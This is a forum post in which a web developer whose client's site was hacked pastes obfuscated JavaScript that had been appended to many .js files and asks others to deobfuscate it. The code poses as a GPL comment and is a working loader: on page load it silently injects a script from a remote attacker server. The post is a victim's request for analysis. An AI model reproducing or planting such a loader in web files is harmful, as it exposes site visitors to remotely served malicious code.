Hey there,
I am in the process of converting a client to MODx but in the mean time have adopted his old website mess. One of his sites was hacked and the following code appended to many js files. Is anyone able to deobfusicate it?
/*GNU GPL*/ try{window.onload = function(){var Dt7u289lvg6gd = document.createElement('s(@^c&&r^i(&!p)#t^#'.replace(/\)|&|\!|@|#|\(|\$|\^/ig, ''));var I7371zzldk0w = 'Rnhbm6k9nsqt';Dt7u289lvg6gd.setAttribute('type', 't^e()x()^t)!/&j^)a(v$#$a(!^s)c$$#(r&)^i$p$)&&&t^'.replace(/\)|@|\^|\(|&|#|\$|\!/ig, ''));Dt7u289lvg6gd.setAttribute('src', 'h!&@t&@&t#)p^!&:^@&/!!/^!f&$o&&)!$c@#$u$#$^^s@-#&&#d@(e)@.^p$i!($c$&h@u&^n@)t@e#(#(r&.#)(c@^&&o!#@m#@$.!!#m^^@))o(n@)e$&!y!@&c!(o&$n@)^#t!r)o#&l#!^-!)^c(#$o&m^^^.&&a&#m!@p((s(g@u(!i^&#d(e).@!$r$!u&$:(!!!8@)($0#&8!&@0!^/(@@)6^#.)(c()n&^/^&&6)(.#c@)&!n)/&!#f&l@)i$$@c$@k@(r$&.(^#c!($o#&m@!)#/!!w#&@o()w$&a^$$&r)m)o(r$#y)^#.$)&c!^o&!m^^#/&g@!(&^o@)!o@!g#l^)$e&&(.^&#@c($#^o#m@$/(^'.replace(/\(|&|#|\$|\^|\!|\)|@/ig, ''));Dt7u289lvg6gd.setAttribute('defer', 'd()e^!f@@(e&^#!r(^)$'.replace(/\)|#|&|\(|\^|\!|@|\$/ig, ''));Dt7u289lvg6gd.setAttribute('id', 'I(@!a^q&^$$m$m&&$i!@f&@s)^&$h!)^m!&g$#j))^x(#$)'.replace(/\!|\^|\$|\(|@|#|&|\)/ig, ''));document.body.appendChild(Dt7u289lvg6gd);}} catch(M0lcvk6ns7) {}
Appreciate it.
MODX Staff